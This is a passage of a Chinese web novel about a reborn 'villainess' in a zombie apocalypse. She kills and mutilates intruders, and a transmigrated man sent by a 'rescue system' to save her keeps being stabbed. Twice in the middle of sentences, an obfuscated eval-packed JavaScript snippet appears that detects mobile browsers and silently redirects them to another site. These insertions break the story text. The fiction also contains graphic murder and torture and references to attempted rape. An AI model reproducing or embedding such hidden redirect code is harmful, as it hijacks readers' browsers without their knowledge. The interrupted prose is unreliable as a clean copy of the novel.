《末世恶毒女配重生了[穿书]》 1. 重生 桑寄月挣扎着想要睁开眼,但眼皮好似沉重如千斤,她动弹不得,只能隐约听见耳边有少女在哭泣。 那少女的声音已经沙哑,哭求时柔弱不堪:“哥哥、不要丢下我,我很害怕……不要丢下我……求求你……” 接着是她熟悉到刻骨铭心的声音,男人的声音生硬而冰冷:“小月,我得去找乔乔。” 少女烧得意识模糊,连动根手指都困难,但求生欲作祟,她还是努力的抓住男人的手,声音沙哑的哀求:“那你带我一起走,我不要一个人留在这里,哥哥,求你了。” 男人一根根的掰开少女抓着他的手指头,冷静到近乎冷酷:“外面很危险,我带着你没有办法行动,而且,小月,你也发烧了。你想到时候被哥哥亲手杀死吗?” 少女没了力气,她瘫坐在地上,看着男人背起装满了物资的登山包,大步远离她的视线。 桑寄月忽然反应过来——哦,这个一直在哭的废物,是十七岁的她。 在她十七岁的这一年,一种神秘的病毒席卷全球,第一波感染者先是持续不断的发烧,然后再是沦为贪婪血肉的行尸走肉,科学家将之称为丧尸。 这种病毒的传播性与感染性极强,被丧尸所伤,会感染尸毒成为行尸走肉。 桑寄月那时也发烧了,但她并非是感染了病毒,而是头天晚上没关窗户踢了被子,被风吹得生病了。 结果第二天就赶上了病毒爆发。 当时家里只有她和桑淮,家里的几个佣人感染的感染,逃命的逃命,而桑淮大二,就是那天难得回家了,结果和她一起被困在了家里。 小区里的广播循环播报着注意发高烧的人,他们很快就会变成丧尸,桑淮不信桑寄月是在病毒爆发前发烧的,他将桑寄月关进了房间里,只每天给她送点吃的。直到第四天,桑淮将家里的物资收拾进背包中,来同她道别。 “……你想到时候被哥哥亲手杀死吗?” 桑淮的声音一直回荡在桑寄月的耳边,桑寄月终于有了力气,她倏的睁开眼睛,不顾烧得意识模糊的身体,抖着手爬起来,抓住就近桌面上的一把水果刀,嘶哑着嗓子喊:“桑淮!回来!” 回来!让我捅一刀! 再看见桑淮,桑寄月依旧恨得牙痒痒。 桑淮并未注意桑寄月,他随手将桑寄月的房门从外反锁,飞快离开。 桑寄月好不容易走到门口,却发现她的房门被反锁,烧得浑浑噩噩的脑袋让她许久才反应过来,桑淮这个贱人锁门了!她根本出不去,当年险些被饿死在这里! 不对,不对。 桑寄月迟钝的想,她不该在这里的,她只是在把桑淮大卸八块后体力不支,短暂的昏迷了,她为什么会出现在这里?桑淮为什么没有死? 一个不可思议的猜想让桑寄月立刻清醒了一些,她低下头看,她的手背白皙莹润,泛着暖玉一样的漂亮光泽,手指纤细修长,是非常好看的……一双手? 她的右手本该在三年前就被桑淮砍了,而现在,正好好的长在她的身体上。 桑寄月重生了。 她回到了十七岁、末世刚爆发的那一年。这一年的她,柔弱得像个废物,只有依附继兄桑淮,她才能活下去。 重生啊。 她终于也被命运眷顾了一次吗? 桑寄月下意识的攥紧水果刀,难以抵抗沉重的脑袋里排山倒海般的晕眩感,她蜷缩着,靠在门边睡着了。 似乎过去了很久,楼下忽然传来了狗狗狂吠的声音,紧接着便是有人在疯狂的撞击着大门。 桑寄月被吵醒了。 她还在发烧,不过睡了一觉,虽然还没有退烧,但她也感觉好多了。 听着楼下的犬吠与大门的撞击声,桑寄月下一秒就清醒了过来。她记得在桑淮离开后不久,就有三男两女闯进了她的家,像强盗一样,占领了别墅,甚至见她孤身一人,那三个男的还想要强/奸她。 是桑寄月养了十二年的田园犬大福为她争取了一点时间,让她逃离了这座可怕的囚笼。而大福却被他们硬生生的踹死,扒了皮做成了盘中餐,她再折返时,只看见了一地惨白的骨头。 桑寄月将水果刀藏进衣服里,拉开床头柜的抽屉,将一个白色的小药瓶放进兜里。然后,她吃力的搬起沉重的椅子,一把砸在了反锁的门上! “砰”的一声,脆弱的锁应声而碎,她推开房门,慢吞吞的下了楼。 原本狂吠不止的黄色田园犬立刻跑到她的脚边,围着她拼命摇尾巴,她摸了摸大福热乎乎毛茸茸的脑袋,然后走到大门前,将大门打开。 那原本还在卯足了劲儿撞门的三个男人扑了个空,险些撞到桑寄月的身上。 桑寄月迷茫的看着他们,声音沙哑的说:“你们是谁?” 他们看着面前的桑寄月,她看起来年纪还很小,穿着白色的棉麻睡衣,露出笔直纤细的小腿。她的五官精致如瓷娃娃,眼睛微微弯起,像狐狸一样娇媚,她似乎是刚睡醒,睡眼朦胧,脸蛋酡红,眼睛里还泛着晶莹的水光。 五人小队的队长张伟上前一步,迈进门槛,一只手抵在门上,对着桑寄月露出一个尽量友好的笑容:“小妹妹,外面都是丧尸,我们好不容易才逃到这里来,你大人在家吗?可以收留我们一天吗?” “家里只有我一个人。”桑寄月说着眼眶便红了:“外面都是那些怪物,我太害怕了,终于有人来了,你们快进来吧,我家很大,够你们住的。” 张伟几人对视一眼,立刻迫不及待的踏进这富丽堂皇的别墅。他们的鞋底很脏,干净的白色大理石地面立刻多了几串杂乱的脚印。 桑寄月眼中飞快的划过一抹嫌恶,大福还在朝着他们狂吠,被她拍着脑袋安抚:“大福,不能对哥哥姐姐们没有礼貌哦。” “这狗护主,挺好的。”另一个男人李俊凑上来想摸一下大福和桑寄月套近乎,却差点被大福咬,他悻悻然的缩回手,对着桑寄月尬笑。 “大福看见陌生人可能有点紧张。”桑寄月指了指大厅里的沙发,柔柔弱弱的说:“哥哥姐姐们坐,我先去给你们倒点水喝。” 桑寄月去了厨房倒水,五个人便在沙发上坐下,陈梓萱想跟过去看看冰箱里有些什么吃的:“我饿死了,这三天就没吃上一口热乎的。” 韩娟娟伸手拉住她,小声的说:“这是在别人家里,我们不要乱动比较好吧。” “她就一个人在家。”陈梓萱哼了一声,笑着看向张伟:“到时候还不是得求着我们伟哥来保护她。” 张伟得意的仰起脑袋,装模作样的说:“娟娟说得对,你别乱动人小姑娘东西,一点礼貌都没有。” “知道了嘛。” 桑寄月很快就带着六杯水走了出来,她将托盘放到茶几上,声音轻柔的说:“家里没有饮料,只有水了,哥哥姐姐们喝杯水吧。” 张伟五人是一路杀进这相对丧尸较少的别墅区的,这期间耗费了巨大的体力,又渴又饿,看见装在玻璃杯里的白开水,他们不约而同的端起杯子大口大口的喝了起来。 桑寄月注意到有一位女性坐着没有动,似乎是没有喝水的想法,她歪头,好奇的问:“这位姐姐,你不渴吗?” 韩娟娟其实是觉得桑寄月有些奇怪,她看桑寄月年纪小,但也不该这么没脑子把陌生人放进家里热情招待吧?她向来谨慎,便不打算第一时间喝水。 “我还不是很渴。” 桑寄月“哦”了声,然后拿起面前的杯子,浅浅的抿了一口,晶莹剔透的水珠打湿了她干涩的唇,让她的喉咙好受了不少。 喝完了水后,陈梓萱张口就问:“小妹妹,你家还有什么吃的吗?我们都饿了,这光喝水也吃不饱啊。” “有的。”桑寄月轻声细语的说:“家里还有面,我去煮面给你们吃吧,稍等哦。” “有没有肉啊,多放点肉进去。”大口大口喝完了一整杯水的赵旷粗声粗气的说:“面也多放点,我们都很饿了。” 桑寄月好脾气的点点头:“能在这种时候看见你们,我很开心,我会好好招待你们的。” 上辈子没机会报的仇,这辈子一睁眼他们就送上门来了,她能不开心吗? 张伟挥挥手:“那快去吧,麻烦你了啊小妹妹。” “我来帮你一起吧。”韩娟娟不太放心,抢先将空掉的玻璃杯放在托盘上,她端起托盘,跟上桑寄月。 陈梓萱撇撇嘴,对她很是不屑。 桑寄月和韩娟娟走进了厨房里。 韩娟娟问桑寄月:“这托盘我放哪儿啊?” “我来吧。”桑寄月上前,接过托盘,慢条斯理的将里面的玻璃杯放进水槽中,托盘则是立在了一边的架子上。 桑寄月已经开始洗杯子了,但韩娟娟还在盯着她的指尖发呆,直到水流声消失,韩娟娟才如梦初醒一般,惊恐的盯着桑寄月。 “你的指尖怎么这么烫?你……你是发烧了!”韩娟娟的声音陡然尖锐,原来桑寄月脸上的红不是因为刚睡醒,而是因为她发烧了! 桑寄月“嗯”了声,她摸了摸自个儿滚烫的额头,无奈的说:“是啊,姐姐,我生病了,挺难受的,你知道怎么能让我好受些吗?” 韩娟娟觉得桑寄月不太正常,她当即转身就要往外跑,然后她刚转身,便觉后脖颈一痛。她后知后觉的微微垂下眼,看见了一把通红的水果刀,那把刀,从后往前,刺穿了她整个喉咙! 巨大的痛感传来,韩娟娟却连尖叫都做不到了,她的身子软软倒下,意识彻底消散前,她看见桑寄月拔出了那把水果刀,喷涌而出的鲜血溅了桑寄月满脸。 桑寄月舔了舔唇瓣上的鲜血,悠闲自在的站在水槽前,打开水龙头,清洗着水果刀上粘稠的鲜血。 水声哗啦啦,桑寄月透过被清洗得发亮的水果刀,在上面看见了韩娟娟满是鲜血的尸体,她的思绪随之被拉到了很久以前—— 意外闯入别墅中的五人,一开始只在别墅里发现了一条十二岁的老狗,他们将狂吠不止的大福打得头破血流,登堂入室,靠着随身携带的零星物资,在这里待了下来。 他们一开始并没有发现桑寄月,是桑寄月晕过去又醒过来,醒过来又晕过去……一直折腾到烧退,她饥肠辘辘,拍打着被反锁的房门,才引起了他们一行人的注意,被放了出来。 那是她噩梦的开始。 末世的秩序崩塌与否,全看他们面前的人究竟是身强体壮,还是柔弱不堪。 在这个丑恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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桑寄月将麻绳的另一端拋向大门里,她返回门内,费力的将韩娟娟的尸体吊了起来,麻绳绑在门内固定,确保她的尸体不会掉下来。 接着桑寄月又连续将其他四人吊起来,张伟恰好是最后一个,他被吊起来的时候撞到了铁门上的尖锐,被疼醒一睁眼就看见了他们这一排中间,韩娟娟满脸的血,脸色发青,显然已经死去多时,他瞪大了眼,放声尖叫。 “吓到了吗?我故意的。”桑寄月的脸出现在他面前,张伟愣了愣,便觉腹部一痛。 张伟疼得撕心裂肺,他张大嘴还要再叫,桑寄月就已经干脆利落的割断了他的舌头,他惊恐的看着桑寄月,像是看到了魔鬼一样。 桑寄月笑得愉悦,任由他惊恐的注视着她,她退到大门内,隔着铁门看着不断蜿蜒的鲜血。 这很快就引来了附近的丧尸。 他们像是恶狗看见了鲜肉一样扑了上来,但因为他们被吊得很高,丧尸伸长爪子最多也只能碰到他们的头发。 “吼吼……” “嗷嗷吼吼吼!” 丧尸的吼叫声不绝如缕,另外几个人也在这极具压迫的恐怖氛围中苏醒,和张伟一样,他们被桑寄月握着刀踮起脚捅穿腹部,割掉舌头。 无声的恐惧不断蔓延,桑寄月耳畔只剩下了丧尸兴奋的吼叫声。 桑寄月坐在观光车上,惬意的翘着腿,左手握着水果刀,右手随意的擦拭着脸上的鲜血,旁边大福安静的注视着她。 恬静的少女与她的狗,如果没有那把水果刀,如果没有那些血,如果没有铁门上倒吊着被放血的几个人,那一定会像画一样美好。 刚爬上墙头的盛星舟看见的就是这惊悚的一幕,他就说周围的丧尸怎么都被引到大门这儿来了! 在盛星舟看见桑寄月的那一刻,桑寄月也敏锐的发现了他,她看向盛星舟,眼中没有任何情绪,只是在目光对上时,她朝着盛星舟轻轻的笑了笑。 盛星舟不太能相信那几具倒吊在别墅大门上的尸体是桑寄月的手笔,毕竟在他穿过来的时候系统再三强调这是个柔弱女配,要他一定要保护她救赎她。 可是……桑寄月手里还在滴血的水果刀怎么让他相信这一切和她无关啊! 转眼间桑寄月就停在了盛星舟面前,她仰起头,左手握着不停滴血的水果刀,白净的小脸上还带着血,声音却是又软又甜:“哥哥,要帮忙吗?” 盛星舟毛骨悚然,他不敢说话,想跳出去,但系统察觉到他在打退堂鼓,连忙鼓舞他:“她是柔弱女配,她只是太害怕了,所以有些失控,你别怕,跳下去,安慰一下她!” “那她捅我咋办?”盛星舟在心里问。 系统沉稳的说:“不会的,你有主角光环在身,你是男主,她就是女主,女主怎么会捅男主呢?她不会捅的,信我。” 这么一说盛星舟可不怕了,他的手撑着墙头,潇洒落地。 盛星舟站稳,刚垂眸去看桑寄月,一把水果刀就捅穿了他的心脏! 柔弱女配??这是柔弱女配??? 盛星舟疼得五官扭曲,他发自内心的“靠”了一声,看他没倒,桑寄月又补了一刀,他这才死在地上。 系统:“…………” 谁家男主开局就被刀啊!!!跟你说主角光环你就信,你不会躲吗?!!真服了! 2. 系统 盛星舟是系统针对桑寄月过去现在与未来的经历精挑细选的攻略人选,系统二话没说就把正在睡梦中的盛星舟从现世拉进了这个世界里。 这也就导致盛星舟从睡梦中还没睁开眼,就被寝室里叽里咕噜奇奇怪怪的吼叫声给吵醒了。他睁开眼睛一看,一只怪物就趴在他的身上,哈喇子都快流到他脸上了…… 盛星舟被吓了一跳,如果不是他反应够快,恐怕他就会被那只怪物给咬烂了脸——他抄起枕头就捂在丧尸的脸上,把丧尸推下了床。 然而这还没有结束。 他低头看去,寝室里三只怪物正虎视眈眈的盯着他,不断的想爬上床。 盛星舟来不及多想,跳到靠阳台的床铺后,麻溜的爬下床,拉开阳台的门,三只丧尸随之冲了上来。 刚刚尸变的丧尸身体还非常迟钝,盛星舟敏捷的往旁边一躲,再使劲一推,他们便重重的撞上阳台的护栏,掉下楼去,在地面上发出一声巨响。 盛星舟这才松了口气,经历了这样一番酣畅淋漓的战斗,他还以为自己是在做梦,爬上床想继续睡的时候,系统终于忍不住正式开口。 “恭喜宿主绑定拯救系统,拯救系统七四竭诚为您服务!”系统倒豆子一样和盛星舟说剧情:“您的身份目前是某末世甜文里的为救女主而死的男配,本就对您有好感的殷乔,此后更是她心中无法逾越的白月光,您是男女主感情路上最重要的催化剂之一!” 盛星舟彻底清醒,他打量着这间陌生的寝室,沉默良久,然后发表意见:“你们这剧情真歹毒,你也很歹毒,为什么要抓我过来送死。” 盛星舟只是普普通通男大学生,他不明白为什么他一觉醒来,就来到了这个末世,还得去死。 “您误会了。”七四解释道:“我们暂时不需要您走剧情,只需要您拯救反派女配桑寄月,让她拥有一个圆满的结局。在原剧情中,桑寄月前期为了生存,缠着男主也就是她的继兄桑淮不放,嫉妒殷乔,三番两次破坏主角之间的感情;后期她感染尸毒,沦为丧尸,屡次置主角于死地,她的结局非常凄惨,被猛兽分食而死。” 盛星舟震惊:“作为主角感情催化剂的工具人,她竟然比我还惨。” “是的,因为我们是一本小甜文,按理说是不允许有配角是这样凄惨的结局的,但因为故事的结局已定,只能通过在剧情中找出一人来拯救桑寄月的方式,来改变桑寄月的结局。”七四慷慨激昂:“而您,就是系统精挑细选出拯救反派女配的人!” 盛星舟:“……你怎么选中我的?” “其一,桑寄月今年十七,您二十,你们年龄相仿,一定能玩到一起去。” “其二,桑寄月性格阴郁扭曲,她需要您这样真诚热情的人来打动她。” “其三,桑寄月非常柔弱,她前期只能依靠桑淮生存,这也是导致她对桑淮情感扭曲的原因,而您可以提前去她的身边,保护她,让她爱上您!” 盛星舟想了想,他皱眉:“谁保护她她就爱谁?这也太草率了吧!” 系统:“……” “好吧,你就是因为这些原因选中我的吗?”盛星舟又说:“好像换个人也一样吧,你把我送回去,我不干。” “不可以哦。”七四立刻说道:“选中您还有一个非常重要的原因,您的姓名、年龄、阅历都完美符合白月光男配哦,非您不可呢。” 盛星舟:“……合着是我和男配撞名了是吧。” 他名字这么好听竟然也能撞。 “目前桑寄月正被困在海晏区御水湾的别墅中哦,请宿主至少在第五天赶到,救出险些被强/奸的桑寄月,与之后要被剥皮拆骨吃掉的黄狗大福!” 盛星舟愣了愣:“啊?” “宿主目前已接收男配的所有记忆,对燕城已有大致了解,请想办法逃离燕大,前往静安区的御水湾!”七四下达指令。 “可是话又说回来了。”盛星舟好奇的问:“我在这里,那原本的男配呢?” “他在你原本的身体里。”七四解释道:“等任务完成,你们就能换回来了哦。” 盛星舟磨磨蹭蹭:“那你怎么不直接让他做任务?” “因为他上辈子死得太惨,这辈子看见丧尸就腿软。” 盛星舟:“……” 考虑到目前桑寄月的处境,盛星舟飞快的在衣柜里找到了一个登山包,然后将寝室里能用得上的物资分门别类的装进登山包里。 盛星舟背上登山包,拆了宿舍的拖把,获得了一根趁手的木棍。他走到门边,小心翼翼的拉开一条缝隙,看向寝室长长的走廊—— 或许是因为这还是末世爆发的第一天,大多数的丧尸都还被困在寝室里砰砰砰撞门,所以走廊上的丧尸不算多。可这周围一片寂静,一旦他发出一点声音,一定会惹得好几层楼的丧尸群起而攻之。 盛星舟……返回了寝室。 算了,被咬了就完了。 七四:“你干嘛?冲上去啊!几只丧尸而已,要是我咔咔几下就给他们爆头哦!” 盛星舟没理他,他重新打开阳台门,往楼下看去。这里是三楼,不高不低的距离,刚才摔下去的那几只室友丧尸已经不知道跑哪去了。 或许是因为病毒爆发是在晚上,所以宿舍区里的人不算太多,盛星舟找了寝室里的床单和窗帘,把它们绑在一起,做了一个简易的绳索,艰难的、颤颤巍巍的顺着绳索滑了下去,平稳落地。 一落地盛星舟就飘了:“厉害吧,面对丧尸,咱们还得靠智取,而不是武力!” 七四:“……” 这个被强行拉过来救场的男人不行啊,他根本就是不敢面对走廊里的区区十头丧尸啊!这要是真对上桑寄月不得直接被吓死? 盛星舟已经在偷偷摸摸的顺着宿舍区往外走,看见丧尸就躲,七四觉得这样不行,他可是要保护桑寄月的男人!桑寄月绝不可能喜欢这样一个胆小鬼! 七四决定给盛星舟一些激励,他在一片寂静中开口,声音很大:“宿主,你知道主角为什么是主角吗?” 盛星舟:“不知道。” “凡为主角者,必定会在每一次的磨砺中变得更为强大!置之死地而后生,是你的代名词!”七四慷慨激昂的发表演说:“而且最重要的一点是身为主角的你,拥有这个世界里最强大的金手指——主角光环!请记住,杀不死你的只会让你更强大!而身为主角的你是不会死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044956|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的!这就相当于只要你敢于迎难直上,你就一定会成功!一定会更强大!” 盛星舟听得一愣一愣的,他呆了好久才说:“我竟然是主角吗?我这个身份不是个男配吗?” “对啊,你可是穿书的,这个世界独一份啊,你不是主角谁是主角!”七四深沉的说:“所以,少年,大胆的迎难直上吧!你!就是这个世界的主角!” 盛星舟的确被七四给激励到了。 他很快就摸到了宿舍楼的大门口,几只门卫丧尸和小吃摊丧尸正在四处漫无目的的游荡着。 七四鼓舞:“宿主!上!变强的机会就在眼前!” 盛星舟深呼吸一口气,还真拎着棍子就冲了上去!末世初期的丧尸力气虽然很大,但大都很是迟钝,恰巧盛星舟的力气够大,反应够快,一棍一个,倒也不成问题。 一场酣畅淋漓的战斗结束,盛星舟自信一笑:“我果然变强了!” 七四拍巴掌:“宿主加油,再接再厉!” 燕大在海晏区,而御水湾在静安区,中间隔着至少有一百公里的距离,但盛星舟受到鼓舞,只花了三天时间,就来到了静安区的御水湾。 期间他走路、蹬自行车、骑小电驴,在丧尸群中穿梭,或许是运气,或许是实力,又或许是那虚无缥缈的主角光环,他毫发无伤,还有空在附近的酒店住了一晚上,洗了个热水澡,换了套新衣服,干干净净的去见桑寄月,势必一眼就迷死她! 御水湾是别墅区,一幢幢别墅彼此之间都离得很远,小区里也没什么人,偶有几只四处游荡的丧尸,也被盛星舟轻轻松松的解决。 盛星舟觉得怪怪的:“这里的丧尸是不是太少了点?好歹这么大块地方呢,凑一起凑不出三只丧尸。” 盛星舟很快就知道为什么了。 按照七四给出的桑寄月家地址,他还没走过去,隔得老远就听见了数十只丧尸吼叫的声音——不用想也知道,这块区域的所有丧尸都聚集在大门边了。 盛星舟还以为是桑寄月遇到危险了,他身手敏捷的爬上墙,准备进入别墅,英雄救美,然后…… 他死了。 可是他还没有完全死,不过也快了。 救救救救救命!狗系统骗他送人头! 盛星舟的眼睛沉重得如有千斤,心口处连中两刀的剧痛他似乎也无法感受到了,唯有脑海里这个不靠谱的系统七四在疯狂的尖叫。 七四好像比盛星舟还崩溃:“你怎么就被刀了啊!你为什么不躲!为什么!” 盛星舟无法忘记那把尖锐的水果刀捅穿他胸口撕裂般的痛感,还是整整两刀,他倒在地上,双眼逐渐失焦。 身着白色棉麻长裙的少女低垂着脑袋,居高临下的看着他,苍白的脸上还溅着他胸口喷涌而出的鲜血,那双逐渐沉寂下来的漆黑双眸不带丝毫感情。 他们短暂的对视了一瞬,盛星舟安详的闭上了眼。 还是死了好,回家了。 没想到他的穿越之旅结束得这么快。 桑寄月冷眼看着地上的人痛苦的喘息,最后咽了气,确定他死透了之后,她才随便将水果刀上的血抹他衣服上,然后坐上观光车,带着她的狗,扬长而去。 3. 再战 因为烧还没完全退,桑寄月放松下来时便又开始觉得头晕,她强忍着脑袋的晕眩感,拖着疲惫的身体去了卧室里的淋浴间洗澡。 毕竟往后能洗热水澡的机会不多了。 少女瘦削的背脊映在雾气氤氲的玻璃门上,她认真的将身上的汗液与鲜血洗干净,用毛巾将乌黑的长发擦得半干后,套上了便于行动的卫衣与牛仔裤。 大福难得有机会可以进桑寄月的卧室,她推门而出便见它忠诚的守在她的床边,清亮黝黑的双眸充满热切的盯着她,蓬松的大尾巴在身后摇晃。 桑寄月将床头柜上的最后一颗退烧药握在手中,然后和大福一起下了楼,给它倒上满满一碗狗粮,又换了水后,才慢吞吞的去了橱柜边,拉开一看,里面的药箱已经不见了,桑淮那个杂种连退烧药都没给她多留一板。 不止如此,他还带走了家里为数不多的所有食物,显然是认为她以后也不会用到这些了。 这也没什么,毕竟在她的妈妈去世后,他们这对继兄妹的感情,一向尴尬。 好在今日别墅里闯进来的那群人随身携带了一部分物资,桑寄月将手里握着的退烧药生吞了后,慢条斯理的去翻那群人渣的遗物。 也不过就是几袋压缩饼干,还有几袋泡面,与几个罐头,也是难为了前世那群人靠着这么点食物在这里苟了好几天。 不过桑寄月独自一人在这里,她吃得少,这些物资足够她吃到退烧了。 桑寄月倒了一大杯水后坐在沙发上,拆了一包压缩饼干,小口吞咽。不远处大福正在大口的吞咽着狗粮,嚼得嘎嘣响,她看了一会儿,就跟看吃播似的,也勉强吃下了几块压缩饼干。 将那一大杯水喝完后,桑寄月将还剩下大半的压缩饼干封好口,便上了楼,脑海中强忍的晕眩感排山倒海般的袭来,她走到卧室门口的时候还摔了一跤,半天才爬起来,将门锁被破坏的房门合拢。 别墅的大门口隐隐传来丧尸吼叫的声音,鬼哭狼嚎,凄厉万分,不绝如缕,桑寄月在这样的声音里,香甜入睡。 被倒吊在大门上的几具尸体,腹部与口腔不断的滴落着鲜血,惹得丧尸群躁动不已,不住的往上攀爬,想要撕扯血肉。 坚固的铁门开始晃动,发出沉闷刺耳的声响,盛星舟粗喘着睁开眼睛,看见的便是即将破门而入的丧尸群,吓得恨不得再死一次。 他几乎是手脚并用的爬起来,用石头将麻绳割断,那几具尸体坠地,被数十只丧尸淹没。 趁着这里的所有丧尸都在吞食那几具新鲜的尸体,盛星舟连滚带爬的往侧边的墙上爬,因为手和腿都软得厉害,他爬了半天都没爬上去。 刚联系完主系统复活盛星舟的七四回来一看简直是恨铁不成钢:“你在干嘛啊?!” “跑啊!”盛星舟还是试图往墙上爬:“太吓人了,什么柔弱女配,那就是个变/态,笑着捅人刀子,果然你们小说世界疯批遍地走。” 而他只是一个正常人啊,莫名其妙的被拖到了这末世世界,太歹毒了! 七四:“宿主,你冷静一下,我可以解释。” 盛星舟不听。 然后被七四电击了一下之后就老实了。 他像之前被桑寄月连捅两刀一样仰躺在地面上,生无可恋的说:“为什么不让我去死,赶紧送我回家啊。” 七四胸有成竹的说:“我提前和主系统报备过了,末世太危险,所以给你多申请了一条命,就当新手大礼包了。” “结果没想到你这么快就给用了!”他咬牙切齿。 末世太危险个屁,是那个女配危险吧!盛星舟冷笑:“因为谁?你不骗我我至于刚见她就被她捅?” 七四沉默一瞬,他要是真的提醒盛星舟的话,这个怂货可能一开始都不会来找桑寄月。 该死的他怎么就叫盛星舟呢,是不是叫盛星舟的男人都胆小如鼠! 七四在心里疯狂骂着他的宿主,嘴里却情绪稳定的劝慰道:“宿主,你还是对女配多点包容吧,她挺不容易的,你想想啊,她今天受了那么大的惊吓,在她眼中你也是闯入者,她能不害怕吗?这一害怕做出失控的行为是不是可以理解呢?” “她哪里受到惊吓了啊,受到惊吓的是这群倒霉蛋吧。”盛星舟往门外看了眼,那几具尸体已经被啃得骨头都不剩。 “你忘了么,这群人渣想要强/奸她。” 盛星舟冷哼了一声:“你们的剧情真歹毒,活该这女配以后黑化。” 七四:“……” 他忍了忍,接着开始替桑寄月卖惨:“女配从小就缺少父母关爱,天生体弱,几乎是把药当饭吃,她缺爱又敏感,过得很不容易。” “在原剧情中,那群人渣虽然没有得逞,但也给她留下了巨大的阴影,她小时候和她妈妈桑晩榆一起领养的那条田园犬也因为她被那几个人渣吃了,自此之后,桑女士留给她的唯一念想也没了。” 盛星舟抿了抿唇,心口处破损的衣物上还沾染着他的血,提醒着他心脏被捅穿的抽痛感。 七四继续说道:“之后女配还会经历很多不公与苦难,你可以想象一个空有漂亮皮囊的柔弱少女会在末世经受多大的恶意,没有人愿意真正拯救她,但既然你来了,我希望你不要像别人一样放弃她。” “所以……救救她吧。” 盛星舟沉默,七四虽然在替桑寄月卖惨,但这似乎也是事实,在这本被称之为末世小甜饼的小说世界里,所有的恶意都对准了她。 不过盛星舟总觉得哪里怪怪的。 “可是她明显ooc了啊,非但没有按照你给出的剧情走,还反杀了!” 当然如果不是桑寄月后来还捅了他两刀的话,盛星舟一定很愿意给她鼓掌,夸她杀得漂亮!人渣死不足惜! 七四沉稳的说道:“蝴蝶效应,不必在意这种细节。” 蝴蝶效应……吗? 七四的这四个字把盛星舟的所有问题都堵了回去。 此时别墅大门外的丧尸群也都安静了下来,门口的鲜血气味掩盖了盛星舟的气息,那些浑身脏污的丧尸开始在四周漫无目的的游荡,将这座别墅围得水泄不通。 这时候再爬墙出去显然已经行不通了,盛星舟也放弃了离开的想法,在七四的鼓舞声中重拾信心,准备再战桑寄月。 “宿主加油!桑寄月现在还在发烧,你可以给她做一顿温馨的病号餐,显示你的体贴和细心!病中的女配最是脆弱,有了你的陪伴一定能把她感动得稀里哗啦的!我相信你一定能圆满完成任务……不过还是小心点哈,这次再死就真的死了,没有第二条命的。” 盛星舟的背包里还有自热米饭,他不太确定的说:“可我只会自热米饭多加水煮成粥,以及泡泡面,这真能温馨到她吗?” 七四:“……” 废物,下厨都不会。 等女配的官配出来这死小子去领盒饭算了。 七四气定神闲的开口:“当然!总比有的男人动口不动手的强!” 盛星舟不太信:“可是桑寄月看起来很难缠啊,真的这么容易会被打动?” 那他的任务岂不是太简单了点。 这狗系统的话可不能信。 盛星舟记起他坐在墙头的时候匆忙瞥见的桑寄月,少女苍白的面颊烧得通红,薄唇上干涩得起 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七四冷不丁的开口:“你拿着把菜刀说你要和女配好好谈谈?” 盛星舟理直气壮:“在保护桑寄月之前,我得先保护自己!” 这幢别墅很大,盛星舟颇费了一些时间才找到桑寄月的卧室,她住在三楼,很显然这一整层楼都是她的,不过卧室的门显然易见的被破坏了。 盛星舟看见被暴力破开的门锁,还以为是又有人闯了进来,连忙大步上前,推开门—— 映入眼帘的是布置得极为温馨优雅的卧室,大块波斯绒的地毯铺在地板上,床头垂下的白色流苏随着窗口吹进的微风拂动,送来一阵花香,他循着香味看过去,便见窗台上的小玻璃罐里水培着一束白色的玫瑰。 只不过桑寄月不在这里。 可是别的地方他都已经找遍了,桑寄月不在自己的房间会在哪里? 盛星舟找了床底,又找了厕所,还看了衣帽间,都没能找到桑寄月,他想了想,忽然伸出手去,打开了衣柜大门。 蜷缩在角落里昏睡的少女映入眼帘。 她很瘦,乌发披散着,贴在了那张酡红的面容上,越显下巴尖,脸蛋小,纤长的睫羽颤动着,很显然,她睡得并不好。 在衣柜里缩着睡能好才怪了,而且里面这么闷,现在又还是夏天。 盛星舟本来想把桑寄月拖出来的,但他不太敢碰她,伸出的手又缩了回来,最后找了把扇子来,小心的给她扇风。 微凉的风吹动了她额间的碎发,桑寄月察觉到不对劲,倏的睁开了眼,看见盛星舟,她错愕的瞪大了眼睛,眸子里适时流露出一丝惊恐与不可置信。 “你……”她的声音颤抖,似乎是真的被吓到了。 盛星舟连忙要解释,桑寄月就忽然抽出藏在身后的水果刀,朝着他捅来! 早有防备的盛星舟一把将衣柜门重重合上,用手抵着门,不顾里面桑寄月暴躁的尖叫,大声说道:“姐,你是我姐,你冷静一点,我真的没有恶意的!” 桑寄月没有说话,只是不停地撞击着沉重的柜门,发出沉闷的声响。 盛星舟当然不敢让已经失控的桑寄月出来,把柜门按得死死的。 里面逐渐安静了下来。 盛星舟还以为桑寄月终于冷静了,他刚要开门,便听见了更为沉闷的声响,一声又一声,坚硬的衣柜门开始出现裂痕。 桑寄月在用那把刀捅门!仿佛下一刻就会破门而出! 盛星舟头皮发麻,在他眼中,此刻的桑寄月比外面那群丧尸还要可怕。 怎么办啊,要不还是跑? 4. 照顾 原本干净整洁的衣帽间里一片狼藉。 盛星舟脸色难看的坐在地板上,捂着脸上的几道抓痕,瞪着角落里蜷缩着的少女。 谢天谢地这次他终于没被捅了,结果刚夺了她手里那把卷刃的刀,她就扑过来戳他眼睛,他躲得快,尖锐的指甲堪堪划过他的眼角,在脸上留下了几道抓痕。 什么柔弱女配,简直是只疯狗。 桑寄月低垂着脑袋,安静的衣帽间里只剩下她重重喘息的声音。 